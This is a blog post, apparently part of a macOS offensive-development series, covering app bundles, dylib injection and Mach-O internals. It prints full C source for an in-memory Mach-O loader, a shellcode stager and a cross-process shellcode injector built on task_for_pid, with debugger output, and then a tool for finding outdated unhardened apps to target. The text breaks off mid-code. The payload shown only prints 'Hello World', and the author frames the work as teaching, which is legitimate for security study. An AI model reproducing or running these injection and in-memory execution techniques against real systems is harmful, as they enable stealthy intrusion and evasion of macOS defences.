So lately, I’ve been researching and exploring macOS, focusing on offensive development, local privilege escalation, and bypassing the operating system’s defenses. Why not drop another macOS piece? In the first part, some of those techniques don’t play nice with newer macOS builds, and most require root to run, like process injection and …. That pretty much kills their impact, capping them at low or maybe medium, depending on who you talk to,
We covered the core of macOS architecture, security features, and even how to leverage the Mach API to write dummy malware. Nothing flashy, just laying the groundwork for those who wanna learn. So, this time, I figured let’s skip the fluff and head into some malware development and offensive techniques.
This post will detail the different rough requirements and research for the project, as well as help provide some rough structure to the project and define the general requirements. In the subsequent posts, more detail will be added.
The main reason for this project was a long-term interest in macOs internals and more specifically macOs malware, And most importantly having fun and to learn something new! As always I will try to explain each and every thing in as compact and smooth a way as best. We’ll break down detailed, step-by-step codes and techniques so you can follow them and fully understand the concept at hand.
What You Must Know
Some familiarity with malware development is expected. I don’t care if it’s Linux or Windows techniques may vary, but the core concepts remain the same: debugging, working with assembly, and low-level programming. If you’re new to macOS, check out the first article for the basics; it’ll prepare you for what’s coming. The code examples and concepts presented here have been tested on macOS Monterey and macOS 14+ (Sonoma), including techniques for ARM-based (Apple Silicon). However, I cannot guarantee compatibility across all configurations.
That said, if there are better sources available for explaining something, I’ll reference those while striving to be thorough in documenting sources and providing additional information for your research.
Back to 0x01: A New Perspective
Alright, we have covered some of this in 0x01, but let’s do a quick review and fill in the gaps. So, the macOS app is basically an application software designed to run on Apple’s macOS, formerly OS X, composed of multiple files and resources, put together in a specific format-usually with a user interface.
Most applications can be found in the App Store, but users have the freedom to download and install apps from third-party sources as well. Once installed, the application is generally located in the /Applications
or ~/Applications
directory, you can identify macOS applications by the “.app” extension, as they’re stored as packages, commonly referred to as Application Bundles:
“A bundle is a directory with a standardized hierarchical structure that typically contains executable code and the resources used by that code. Bundles fulfill many different roles: apps, app extensions, frameworks, and plug-ins are all bundles. Bundles can also contain other bundles.”
Even though a bundle looks like a single file in Finder, it’s actually a directory. To explore the application’s contents, just right-click the file name and select Show Package Contents. Inside the Content directory, you’ll find several subdirectories,
The core contains the Contents folder, which holds everything that is needed to run the application. In this folder, there are several subfolders that are important. First among them is the MacOS folder; it houses the executable file of the application. Then there is the Resources folder; you will see images there, files used for localization, and other things the app depends on. The other key file in the bundle is the property list, Info.plist that contains essential information about your app, including its version number, its bundle identifier, configuration data, and more.
Another common subdirectory is the Frameworks folder. You’ll most often see this folder for applications that include their own frameworks. This folder contains reusable code that your application relies upon and, by separating it out, makes sharing functionality easier between different aspects of your application. The PlugIns folder is a catch-all for app extensions or additional functionality that the app provides to itself.
These three components together form the backbone of how applications are designed on macOS, providing a flexible way to organize everything from the application code to its resources. For example, in Docker, we have a fairly layered application structure. At the top level, we have the main Docker.app
, which is the primary application bundle. Inside, the Contents
directory holds the usual suspects that macOS applications rely on, including the Info.plist
.
In the Library directory are services that Docker needs to operate. There are several, including LaunchServices, where com.docker.vmnetd
lives. This is a daemon to control Docker’s networking. There is the LoginItems directory containing DockerHelper.app. An App is launched upon Docker running, to run the background tasks Docker needs. DockerHelper.app also continues the same bundle structure, having its own Contents, MacOS, Resources, and other subdirectories.
The Resources folder in DockerHelper.app includes graphic resources, such as AppIcon.icns and Assets.car, and user interface elements, such as MainMenu.nib. And there’s a very good likelihood that this .nib file is used for displaying some sort of GUI for the app, proving even helper apps can present a UI.
Down below, the top-level Docker Desktop.app
is itself installed in the MacOS
folder. This should comprise the core Docker Desktop functionality. This sub-application has its own Contents
folder, but at this point in the file tree, what really stands out is the Frameworks
directory, and there’s more -this is just what I cut from the image. But those components are really all you need to know.
This may vary depending on the application, but the structure remains the same across macOS. This setup leads us to what comes next, I won’t dive back into SIP or other security features and how they fit together since we already covered that earlier feel free to check it out if you need a refresher, or don’t. Either way, I’ll make sure it all clicks for you eventually ;)
Normally, I’d jump into Dylib hijacking or injection at this point, but since we already went through that in the first part along with code injection and writing a simple shellcode injector you can check that out. That being said, let’s go over some basics to jog the memory. Keep in mind that Apple has rolled out new security features that might mitigate this. When an executable or dylib is loaded into memory,
AMFI checks the code signature, ensuring that it was signed by a trusted developer and hasn’t been tampered with. In the first part, I exploited an older version of the Veracrypt app
, which wasn’t using Hardened Runtime. The feature in question manages to prevent a program from loading frameworks, plug-ins, or libraries unless they’re signed either by Apple or signed with the same Team ID as the main executable.
Still, there are some exceptional scenarios in which Dylib hijacking can be exploited either partially or in applications, not having this protection or where older versions might be deployed.
Dylib injection is a technique of injecting code into a macOS application that involves setting the DYLD_INSERT_LIBRARIES environment variable to the path of a dynamic library (dylib) that performs execution of the library code within the process of the launched application. The basic idea here works in an identical way to the LD_PRELOAD method in Linux.
The injected library is executed in the same privileges as the target process. It has to be said that, using this method, we can inject code only into the application we launched.
DYLD_INSERT_LIBRARIES serves to name a dynamic library that should be loaded in a process at runtime. When a process is started, the dynamic linker checks the value of this environment variable and loads listed dylibs before loading dependencies of the program.
And of course injecting code into the process using the mach task port. The
com.apple.security.get-task-allow entitlement
allows an app to read or modify the memory of other processes running on the same machine. This can be exploited to inject code into another process. macOS-Injection
Executing Mach-Os In-Memory
All right, some cool stuff here. In-memory execution in macOS-yes, it is a thing too. Sometime ago, I read a post by Patrick Wardle about one of the Lazarus Group implants using remote downloads and in-memory execution. I decided to revisit this technique.
The term in-memory execution means running your executable code is executed right in memory without actually being written as a physical file on disk. As with any operating system, the trick is in dynamic loading. Different is the in-memory process image and its image on disk; you cannot just copy a file into memory and directly execute it. Instead, you would use APIs like NSCreateObjectFileImageFromMemory and NSLinkModule
, which handle the creation of the in-memory mapping and linking, already deprecated since macOS 10.5.
Alright I found this example here bundle-memory-load/main.c, which basically load the binary or bundle into a region of memory,
But before we cover it, we need to know what a Mach-O file is, I’ll follow this Reference check it out, Alright, Mach-O file is the standard file format for executables, object code, shared libraries, and core dumps in macOS and iOS. It is a very structured binary format in which instructions and data to run code are stored, and there are several types of them depending on how the code should be used:
- Executable: This contains code and data for running a program.
- Dynamic Library: dylib Shared code usable by several programs.
- Bundle (.bundle): A bundle gathers code that can be loaded dynamically at runtime, such as in the case of our tutorial.
The Mach-O format consists of headers, load commands, and segments. Each of the above pieces specifies what kind of executable code, how memory is laid out, and what linkage information the loader needs at runtime. Each segment may contain executable code, initialized data, and metadata. The dynamic linker-dyld-uses this metadata to map the file into memory, resolve symbols, and execute it.
Of course, each segment has different information that comprises a Mach-O file. In general, these are the __TEXT segment of the executable code and the __DATA segment of the global variables. These segments can be very important to understand in terms of exactly how the loading of the binary takes place, as well as how it functions once it is already in memory.
~$ otool -hV /Applications/Signal.app/Contents/MacOS/Signal
/Applications/Signal.app/Contents/MacOS/Signal:
Mach header
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 X86_64 ALL LIB64 EXECUTE 16 1544 NOUNDEFS DYLDLINK TWOLEVEL PIE
~$ otool -l /Applications/Signal.app/Contents/MacOS/Signal
/Applications/Signal.app/Contents/MacOS/Signal:
Load command 0
cmd LC_SEGMENT_64
cmdsize 72
segname __PAGEZERO
vmaddr 0x0000000000000000
vmsize 0x0000000100000000
fileoff 0
filesize 0
maxprot 0x00000000
initprot 0x00000000
nsects 0
flags 0x0
Load command 1
cmd LC_SEGMENT_64
cmdsize 552
segname __TEXT
vmaddr 0x0000000100000000
vmsize 0x0000000000002000
fileoff 0
filesize 8192
...
The most relevant to our format is the bundle format. A bundle is a type of dynamic library that can be loaded at runtime, and dyld has the important job of linking and running it. When dyld processes the Mach-O headers and load commands, it maps the respective file sections into memory, sets proper permissions like READ, EXECUTE, or READ/WRITE, and resolves all required symbols before passing control to the program’s entry point.
Now let’s discuss in a little more detail what dyld does. dyld is responsible for loading Mach-O files into memory and resolving their dependencies at runtime. It does this by parsing the file’s load commands, which tell dyld what segments need to be mapped into memory, what libraries need to be linked, and what symbols need to be resolved. This is precisely what happens when an executable or bundle is loaded from disk.
But for complete in-memory code execution, without spilling any payloads on disk, we have to implement what gets done by dyld. Instead of relying on dyld to load the file off disk, we can manually load the Mach-O bundle into memory and do everything dyld normally does. That includes mapping the segments into memory, setting permissions, and resolving symbols.
Here’s an post by Adam Chester of how to patch dyld to load Mach-O bundles completely in memory, which allows us never to have to touch the disk. It’s a cool technique that enables us not to leave any kind of artifact on the disk, hence this is pretty useful for stealth.
When dyld loads a Mach-O file, it reads the header to understand the general layout of the file and then processes the load commands, working out how to map in the different segments. These segments are then mapped with appropriate permissions; for example, the __TEXT segment is normally marked executable, while the __DATA segment is marked as writable. Finally, dyld performs the symbol resolution and transfers control to the entry point, executing the code.
We can load and execute Mach-O files completely in memory by emulating this process, without the need to write anything to disk. That’s exactly what our example does: it opens a Mach-O bundle, maps it into memory, creates an object file image, links the module, resolves the symbol for the function we want to execute, and finally calls that function, I’m repeating myself here :)
Now that we understand the inner workings of Mach-O files and how dyld
processes them, let’s move forward with actual examples that tie together everything we’ve discussed. The goal is to demonstrate how we can emulate dyld
’s behavior in loading and executing Mach-O bundles entirely in memory, avoiding the need to write payloads to disk.
check out this piece of code that loads a Mach-O bundle into memory, maps the necessary segments, resolves symbols, and then calls a function from the bundle. In this example, we assume that the Mach-O bundle contains a function called _execute
, which we will invoke after loading the bundle in memory.
// MachODynamicLoader.c
// Dynamically loads a Mach-O bundle at runtime using the dyld APIs.
// memory maps the Mach-O file, creates an object file
// image from it, links the module, resolves the "_execute" symbol,
// and then executes the function.
//
// dyld APIs for runtime Mach-O loading and linking in macOS.
//
// Usage: ./MachODynamicLoader
// (expects a Mach-O file "test.bundle" in the same directory)
//
// 0x00fsec
#include <mach-o/dyld.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
NSObjectFileImage fileImage = NULL;
NSModule module = NULL;
NSSymbol symbol = NULL;
struct stat stat_buf;
void (*function)();
int fd = open("test.bundle", O_RDONLY);
if (fd < 0) return 1;
if (fstat(fd, &stat_buf) == -1) {
close(fd);
return 1;
}
// Memory-map (read-only)
void *codeAddr = mmap(NULL, stat_buf.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
close(fd);
if (codeAddr == MAP_FAILED) return 1;
// image from the memory-mapped region
if (NSCreateObjectFileImageFromMemory(codeAddr, stat_buf.st_size, &fileImage) != NSObjectFileImageSuccess) {
munmap(codeAddr, stat_buf.st_size);
return 1;
}
// Link the module using the object file image
module = NSLinkModule(fileImage, "module", NSLINKMODULE_OPTION_NONE);
if (!module) {
NSDestroyObjectFileImage(fileImage);
munmap(codeAddr, stat_buf.st_size);
return 1;
}
// Look up the "_execute" symbol in the linked module
symbol = NSLookupSymbolInModule(module, "_execute");
if (!symbol) {
NSUnLinkModule(module, NSUNLINKMODULE_OPTION_NONE);
NSDestroyObjectFileImage(fileImage);
munmap(codeAddr, stat_buf.st_size);
return 1;
}
// Get the address of the "_execute" symbol and execute it
function = NSAddressOfSymbol(symbol);
if (function) {
function(); // Call the "_execute" function
}
NSUnLinkModule(module, NSUNLINKMODULE_OPTION_NONE);
NSDestroyObjectFileImage(fileImage);
munmap(codeAddr, stat_buf.st_size);
return 0;
}
Here, we’ve essentially emulated the operations that dyld
performs to load and execute Mach-O files, but we do everything in memory. Ordinarily, dyld
parses the Mach-O from disk, maps the segments into memory, resolves symbols, and transfers control to the executable code. By mapping the file directly into memory ourselves, we bypass dyld
, handling the linking and symbol resolution manually, thus completing the process entirely in memory.
However, remember that these methods have been deprecated since macOS 10.5. They technically worked on older operating systems, but Apple no longer supports them, and modern systems may prevent their use in newer applications. In contemporary macOS, particularly, many of these functions are either heavily sandboxed or entirely blocked in environments where System Integrity Protection (SIP) is enabled.
Since macOS 10.5, dynamic loading via the dlopen
family of functions has been the preferred approach: dlopen
, dlsym
, dlclose
. This allows for dynamic loading at runtime, symbol resolution, and unloading of libraries. However, dlopen
still expects a file on disk. For purely in-memory execution, we need to manually parsing Mach-O headers and setting up memory regions with mmap
, mimicking dyld
’s operations.
Next, let’s expand our example to include another method for in-memory loading using completely non-deprecated functions,
// MachOLoader.c
// loads a 64-bit Mach-O file into memory, maps its
// segments, resolves symbols, and executes a specific symbol "_execute".
//
// Usage: ./MachOLoader
// (the same)
//
// 0x00fsec
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void load_macho(const char *path) {
// Open the Mach-O file for reading
int fd = open(path, O_RDONLY);
if (fd < 0) return;
// Get file size using fstat
struct stat stat_buf;
if (fstat(fd, &stat_buf) == -1) {
close(fd);
return;
}
// Map the file into memory (with read/write access)
void *codeAddr = mmap(NULL, stat_buf.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
close(fd);
if (codeAddr == MAP_FAILED) return;
// Verify that the file is a valid 64-bit Mach-O file
struct mach_header_64 *header = (struct mach_header_64 *) codeAddr;
if (header->magic != MH_MAGIC_64) { // Check for 64-bit Mach-O magic number
munmap(codeAddr, stat_buf.st_size); // Unmap
return;
}
struct load_command *loadCmd = (struct load_command *)(header + 1);
void *segmentAddr = NULL;
// Iterate through all load commands
for (uint32_t i = 0; i < header->ncmds; i++) {
// Process LC_SEGMENT_64 commands (64-bit segment)
if (loadCmd->cmd == LC_SEGMENT_64) {
struct segment_command_64 *segCmd = (struct segment_command_64 *) loadCmd;
// read/write/execute
segmentAddr = mmap((void *)segCmd->vmaddr, segCmd->vmsize,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (segmentAddr == MAP_FAILED) {
munmap(codeAddr, stat_buf.st_size);
return;
}
// Copy the segment from file into mapped memory
memcpy(segmentAddr, codeAddr + segCmd->fileoff, segCmd->filesize);
}
loadCmd = (struct load_command *)((char *)loadCmd + loadCmd->cmdsize);
}
// LC_SYMTAB
struct symtab_command *symTabCmd = NULL;
loadCmd = (struct load_command *)(header + 1); /
for (uint32_t i = 0; i < header->ncmds; i++) {
if (loadCmd->cmd == LC_SYMTAB) {
symTabCmd = (struct symtab_command *)loadCmd;
break;
}
loadCmd = (struct load_command *)((char *)loadCmd + loadCmd->cmdsize);
}
if (symTabCmd) {
struct nlist_64 *symbolTable = (struct nlist_64 *)(codeAddr + symTabCmd->symoff);
char *stringTable = (char *)(codeAddr + symTabCmd->stroff);
for (uint32_t i = 0; i < symTabCmd->nsyms; i++) {
// Look for the "_execute" symbol in the string table
if (strcmp(stringTable + symbolTable[i].n_un.n_strx, "_execute") == 0) {
// Cast the symbol's address to a function pointer and call it
void (*function)() = (void (*)(void))(segmentAddr + symbolTable[i].n_value);
function();
}
}
}
munmap(codeAddr, stat_buf.st_size);
}
int main() {
load_macho("test.bundle");
return 0;
}
The logic is: we create a function called load_macho, accepting as an argument the path to the Mach-O. It opens the file, checks the size of the file, and then memory maps it into our processes’ address space. Then we check that a Mach-O header is indeed a 64-bit file, and we iterate through its load commands to map all the needed segments into executable memory.
Finally, we manually handle symbol resolution by searching the _execute symbol in the symbol table and calling it if found. In this manner, we are effectively proving how in-memory execution would be able to take place without writing anything on the disk.
Alternative approach, we highlight another way of performing in-memory execution by injecting and executing shellcode directly. For this, you can refer back to the earlier part where we discussed writing 64-bit assembly shellcode for macOS. That shellcode can then be converted into machine code and staged in memory using techniques like mmap
and mprotect
.
Here’s how you can showcase a simple stager dropper that executes a small payload (shellcode) to download or pull in another payload into memory. The downloaded payload is then executed directly from memory using Mach-O format techniques, as we discussed earlier.
// PayloadStager.c
// stages a simulated payload in memory and then executes
// it by dynamically changing memory protections. The payload mhmm..
// "Hello World!"
//
// The memory is initially allocated with read-write permissions (RW),
// the payload is copied into this memory, and then the permissions are
// flipped to (RX) to allow execution.
//
// Usage: ./PayloadStager
//
// 0x00fsec
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
void *stage_payload() {
char payload[] = {
0xeb, 0x1e, 0x5e, 0xb8, 0x04, 0x00, 0x00, 0x02,
0xbf, 0x01, 0x00, 0x00, 0x00, 0xba, 0x0e, 0x00,
0x00, 0x00, 0x0f, 0x05, 0xb8, 0x01, 0x00, 0x00,
0x02, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05,
0xe8, 0xdd, 0xff, 0xff, 0xff, 0x48, 0x65, 0x6c,
0x6c, 0x6f, 0x20, 0x57, 0x6f, 0x72, 0x6c, 0x64,
0x21, 0x0d, 0x0a
};
size_t len = sizeof(payload);
// read-write (RW)
void *exec_mem = mmap(NULL, len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
if (exec_mem == MAP_FAILED) _exit(1);
memcpy(exec_mem, payload, len);
// Change from read-write (RW) to read-execute (RX)
if (mprotect(exec_mem, len, PROT_READ | PROT_EXEC)) _exit(1);
return exec_mem;
}
void run_payload(void *exec_mem) {
((void(*)()) exec_mem)(); // Cast memory as a function and execute it
}
int main() {
void *payload = stage_payload();
run_payload(payload);
return 0;
}
We simulates downloading the payload into memory, but instead of downloading it over the network, we use a hardcoded shellcode
. The is just a small snippet of machine code that prints “Hello World”. and mmap()
to allocate memory with READ/WRITE permissions, then copy the shellcode
into this allocated space.
Next, we use mprotect()
to change the memory permissions to READ/EXECUTE, making it executable. Finally, run_payload()
executes the shellcode
directly from memory by casting the memory pointer to a function pointer and calling it.
Virtual Memory Map of process 1195 (stager_dropper)
Output report format: 2.4 -- 64-bit process
VM page size: 4096 bytes
==== Non-writable regions for process 1195
REGION TYPE START - END [ VSIZE RSDNT DIRTY SWAP] PRT/MAX SHRMOD PURGE REGION DETAIL
__TEXT 105899000-10589d000 [ 16K 16K 0K 0K] r-x/r-x SM=COW /Users/USER/*/stager_dropper
__DATA_CONST 10589d000-1058a1000 [ 16K 16K 4K 0K] r--/rw- SM=COW /Users/USER/*/stager_dropper
__LINKEDIT 1058a5000-1058a6000 [ 4K 4K 0K 0K] r--/r-- SM=COW /Users/USER/*/stager_dropper
__LINKEDIT 1058a6000-1058a9000 [ 12K 0K 0K 0K] r--/r-- SM=NUL /Users/USER/*/stager_dropper
dyld private memory 1058a9000-1059a9000 [ 1024K 12K 12K 0K] r--/rwx SM=PRV
shared memory 1059ab000-1059ad000 [ 8K 8K 8K 0K] r--/r-- SM=SHM
MALLOC metadata 1059ad000-1059ae000 [ 4K 4K 4K 0K] r--/rwx SM=ZER
MALLOC guard page 1059b2000-1059b3000 [ 4K 0K 0K 0K] ---/rwx SM=ZER
MALLOC guard page 1059b7000-1059b8000 [ 4K 0K 0K 0K] ---/rwx SM=ZER
MALLOC guard page 1059b8000-1059b9000 [ 4K 0K 0K 0K] ---/rwx SM=NUL
MALLOC guard page 1059bd000-1059be000 [ 4K 0K 0K 0K] ---/rwx SM=NUL
MALLOC metadata 1059be000-1059bf000 [ 4K 4K 4K 0K] r--/rwx SM=PRV
MALLOC metadata 1059bf000-1059c0000 [ 4K 4K 4K 0K] r--/rwx SM=ZER
As expected, the executable code resides in the __TEXT segment, which has r-x permissions. This indicates that the memory is readable and executable, but not writable, as is typical for code segments.
We note, that the dyld private memory area has both writable and executable permissions: rwx. It means memory was previously mapped as being writable and afterwards became executable. This indeed shows from the r--/rwx permissions in the dyld private memory region.
and the process-specific memory by the attribute string SM=PRV
, which corroborates what would have been the case when using mmap for shellcode execution, shown in this code.
and if we follow this closely, as we can see system call allocates memory at address 0x10EA93000
with an initial set of permissions. The PROT_READ | PROT_WRITE
flag (0x1
) allows for reading and writing to the allocated memory.
mmap(0x0, 0x2000, 0x1, 0x40001, 0x3, 0x0) = 0x10EA93000 0
mprotect(0x10EA95000, 0x90, 0x3) = 0 0
and also The mprotect
system call is used to modify the memory permissions. In this case, the memory at address 0x10EA95000
is changed from writable to executable (PROT_READ | PROT_EXEC
, represented by 0x3
).
and Finally, the 0x5
indicates PROT_READ | PROT_EXEC
(execute permission is being granted), which allows the payload to run from this memory region.
mmap(0x0, 0x34, 0x3, 0x41002, 0xFFFFFFFFFFFFFFFF, 0x0) = 0x10EAAF000 0
mprotect(0x10EAAF000, 0x34, 0x5) = 0 0
This of course the most basic, naive way, if we wanna play a little we can introduce payload into the memory of another process using the Mach VM API, follow the same principle’s. but hy you can use maybe task_for_pid
but make sure have root privileges or the necessary entitlements.
To give you an idea, maybe I don’t know, just allocate some memory, drop the shellcode in, make it executable, and let it run. Something like this: First, we grab the target process’s memory using mach_vm_allocate
. We want to reserve a chunk of space that can hold our shellcode. This is where our executable code will live. Once we have the space, we proceed to write the shellcode into that memory region with mach_vm_write
. At this stage, make sure that the shellcode is properly laid out in memory for execution.
Next, we set the memory protections with mach_vm_protect
, making it executable. This allows our shellcode to run without hitting any access violations. Now, with the shellcode in place and ready to execute, need to create a thread within the target process. this can be done with thread_create_running
, pointing the program counter to our shellcode’s address and setting the stack pointer appropriately.
You can find all the code discussed here, but try to do it yourself first, huh? Maybe ;) See below, we try in-memory execution technique, But hey, you need root or admin privileges for this, because if you somehow jumped directly here, The code uses task_for_pid()
, mach_vm_allocate()
, and mach_vm_write()
, which macOS restricts to processes with admin rights thanks to SIP, of course.
(lldb) target create "./rw"
Current executable set to '/Users/*//in-memory/rw' (x86_64).
(lldb) r
Process 7142 launched: '/Users/*//in-memory/rw' (x86_64)
Usage: /Users/*//in-memory/mach <target PID>
Process 7142 exited with status = 255 (0x000000ff)
(lldb) r 7120
Process 7160 launched: '/Users/*//in-memory/rw' (x86_64)
Allocated memory at address: 109f43000
Allocated stack memory at address: 109f44000
Hello World!
Thread created to execute shellcode.
[1] + 7120 done ./dummy
Process 7160 exited with status = 0 (0x00000000)
We launch the executable using lldb
, the debugger. The command target create "./rw"
sets the current executable to our binary. When we run the process with the r
command, it prompts us for a target PID, indicating an error.
By setting up a dummy program, we retry by specifying its PID with r 7120
. The process launches successfully, and we see output indicating that memory was allocated at the specified address. The debugger confirms that the stack memory was also allocated, setting up the environment for our shellcode
.
And then, bingo! “Hello World!” is printed as the shellcode
executes, with the thread confirmed to be created for running the shellcode
. The process exits with a status of 0.
// MachShellcodeInjector.c
// Injects and executes shellcode into a target process using the Mach
// kernel APIs. It allocates memory in the target task, writes the
// shellcode, sets proper memory protections, and creates a thread
// to execute the shellcode.
//
// Platform: ARM64 and x86_64.
//
// Usage: ./MachShellcodeInjector <pid>
//
// 0x00fsec
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#ifdef __arm64__
#include <ptrauth.h>
#include <mach/arm/thread_state.h>
#elif defined(__x86_64__)
#include <mach/i386/thread_state.h>
#endif
#define MAX_STACK_SIZE 4096
// ----------------------------------------------------------------------------
// "Hello World!"
// ----------------------------------------------------------------------------
char shellcode[] = {
0xeb, 0x1e, 0x5e, 0xb8, 0x04, 0x00, 0x00, 0x02,
0xbf, 0x01, 0x00, 0x00, 0x00, 0xba, 0x0e, 0x00,
0x00, 0x00, 0x0f, 0x05, 0xb8, 0x01, 0x00, 0x00,
0x02, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05,
0xe8, 0xdd, 0xff, 0xff, 0xff, 0x48, 0x65, 0x6c,
0x6c, 0x6f, 0x20, 0x57, 0x6f, 0x72, 0x6c, 0x64,
0x21, 0x0d, 0x0a
};
typedef struct {
mach_vm_address_t addr;
size_t size;
vm_prot_t prot;
} vm_region_t;
void alloc_memory(task_t task, vm_region_t *region) {
kern_return_t kr = mach_vm_allocate(task, ®ion->addr, region->size, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS) exit(EXIT_FAILURE);
}
void write_shellcode(task_t task, vm_region_t *region) {
kern_return_t kr = mach_vm_write(task, region->addr, (vm_offset_t)shellcode, (mach_msg_type_number_t)region->size);
if (kr != KERN_SUCCESS) exit(EXIT_FAILURE);
}
void set_protect(task_t task, vm_region_t *region) {
kern_return_t kr = mach_vm_protect(task, region->addr, region->size, FALSE, region->prot);
if (kr != KERN_SUCCESS) exit(EXIT_FAILURE);
}
void create_thread(task_t task, vm_region_t *region, mach_vm_address_t stack_addr) {
#ifdef __arm64__
// ARM64 architecture thread setup
arm_thread_state64_t state = {0};
state.__pc = (uint64_t)ptrauth_sign_unauthenticated((void*)region->addr, ptrauth_key_instruction, 0);
state.__sp = stack_addr;
thread_act_t thread;
kern_return_t kr = thread_create_running(task, ARM_THREAD_STATE64, (thread_state_t)&state, ARM_THREAD_STATE64_COUNT, &thread);
#elif defined(__x86_64__)
// x86_64 architecture thread setup
x86_thread_state64_t state = {0};
state.__rip = (uint64_t)region->addr;
state.__rsp = stack_addr;
thread_act_t thread;
kern_return_t kr = thread_create_running(task, x86_THREAD_STATE64, (thread_state_t)&state, x86_THREAD_STATE64_COUNT, &thread);
#endif
}
int main(int argc, char *argv[]) {
if (argc != 2) return EXIT_FAILURE;
task_t target_task;
if (task_for_pid(mach_task_self(), atoi(argv[1]), &target_task) != KERN_SUCCESS) exit(EXIT_FAILURE);
vm_region_t shellcode_region = {0};
shellcode_region.size = sizeof(shellcode);
shellcode_region.prot = VM_PROT_READ | VM_PROT_EXECUTE;
alloc_memory(target_task, &shellcode_region);
write_shellcode(target_task, &shellcode_region);
set_protect(target_task, &shellcode_region);
size_t stack_size = (sizeof(shellcode) * 4 < MAX_STACK_SIZE) ? sizeof(shellcode) * 4 : MAX_STACK_SIZE;
vm_region_t stack_region = {0};
stack_region.size = stack_size;
alloc_memory(target_task, &stack_region);
create_thread(target_task, &shellcode_region, stack_region.addr + stack_region.size);
return 0;
}
This piece of code demonstrates what we’ve covered so far, but as always, there’s a catch this requires root or a privileged user to run. I’ll show that in the example we’re going to use. Is this something that could still be used in the real world? Absolutely, However, if we want to perform any kind of payload drop or injection, the system’s security features exist for a reason. It makes sense that you can’t allow a regular user to have all this flexibility and manipulation. There needs to be some restrictions. We’ll also cover how to work around these restrictions using well-known techniques. Of course, I’m not introducing anything new here, just what’s already out there.
One more thing: I’m going to split the project into smaller programs(stubs) so it’s easier to test and try each technique as we go along. And just like I said earlier, I’m not here to hand you malware I’m here to teach you about the techniques and the concepts while showing some of what’s already been seen out in the wild so far.
…
Old Applications, New Tricks
Now, we start to notice a thing here; SIP is becoming a problem for us, right? I mean, macOS is like overly protective ;) for a good reason though. It restricts what you can do with system processes and prevents any untrusted code from running. This is a pain for anyone trying to execute code in memory, especially if you’re looking to play around with processes like we are.
SIP blocks the injection of code into system processes and prevents you from modifying certain system files and directories. So, if you try to run our little shellcode injection experiment with SIP enabled and not root, you’ll get a big fat “Unable, whatever ….” We can’t have that, can we? Here’s some great resources that get into macOS SIP and Bypass techniques by HackTricks. I won’t get into that as much as you’d love to turn this into a security research, but I’ve got to stay on track… maybe ;)
So usually, when we want to do this “malware” or “red teaming,” you can disable security features, but that’s not realistic at all, So I got this idea. In order to inject into a process in macOS, Instead of trying to bypass these, we can look for low-hanging fruit. What I mean is there are older apps that these security features don’t apply to. Users may have some outdated(older) applications they forgot to upgrade, creating a vulnerability for process injection, dylib hijacking, and in-memory execution, right? But still we gone need admin privileges, that’s easy part !
Alright, let’s test this theory before putting it into practice. Let’s refresh our memory. Of course, we’re not inventing anything here; this has been done and is still being exploited in the wild. So always make sure to update your applications and systems, but give it a day or two before doing so, to account for supply chain attacks or bugs(yep)
So, the whole idea isn’t new. An older app may lack code signing and, of course, be exposed to known privesc or remote code execution that have been patched in newer versions. In our case we will focus on identifying these older apps by checking their metadata, entitlements, and any lack of code signing. I decided to test this on a relatively new version of macOS, but not so new. I went with Monterey OS running on an Intel processor since it comes with the necessary protections and many users still use it. I also tested this on 14+ on an ARM processor, and with a small modification, it can work. But like I said earlier no guarantee ;)
// AppAnalyzer.m
// analyzes a macOS application bundle by extracting
// metadata, verifying code signatures, and identifying executable
// files within the app bundle. It uses macOS-specific tools like
// `mdls` to query metadata, `codesign` to check entitlements, and
// `otool` to analyze executables.
//
// Usage: ./AppAnalyzer <path>
//
// 0x00fsec
#import <Foundation/Foundation.h>
#import <Cocoa/Cocoa.h>
void analyze(NSString *appPath) {
// Check if the app bundle exists at the specified path
if (![[NSFileManager defaultManager] fileExistsAtPath:appPath]) {
NSLog(@"App not found: %@", appPath);
return;
}
// Array of metadata keys to retrieve using `mdls`
NSArray *keys = @[
@"kMDItemCFBundleIdentifier", // Bundle Identifier
@"kMDItemContentCreationDate", // Creation Date
@"kMDItemContentModificationDate", // Modification Date
@"kMDItemContentType", // Content Type
@"kMDItemVersion" // Version Information
];
// Iterate through each metadata key and retrieve its value using `mdls`
for (NSString *key in keys) {
NSString *cmd = [NSString stringWithFormat:@"mdls -name %@ %@", key, appPath];
FILE *pipe = popen([cmd UTF8String], "r");
if (pipe) {
char buf[128];
while (fgets(buf, sizeof(buf), pipe)) {
NSLog(@"%s", buf);
}
pclose(pipe);
}
}
// Run `codesign` to check the app's entitlements
system([[NSString stringWithFormat:@"codesign -d --entitlements :- %@", appPath] UTF8String]);
// Define the path to the app's executable(s) located in the "Contents/MacOS" directory
NSString *execPath = [appPath stringByAppendingPathComponent:@"Contents/MacOS"];
NSDirectoryEnumerator *enumerator = [[NSFileManager defaultManager] enumeratorAtPath:execPath]; // Enumerate files in this directory
NSString *execFile = nil;
// Search for the main executable file
while ((execFile = [enumerator nextObject])) {
NSString *fullPath = [execPath stringByAppendingPathComponent:execFile]; // Full path to the executable
if ([[NSFileManager defaultManager] isExecutableFileAtPath:fullPath]) { // Check if it's an executable
NSLog(@"Executable=%@", fullPath);
// Run `otool` to analyze the executable's header
system([[NSString stringWithFormat:@"otool -f -h -P %@", fullPath] UTF8String]);
return;
}
}
// in case ...
NSLog(@"No executable found in bundle.");
}
int main(int argc, const char *argv[]) {
@autoreleasepool {
if (argc < 2) {
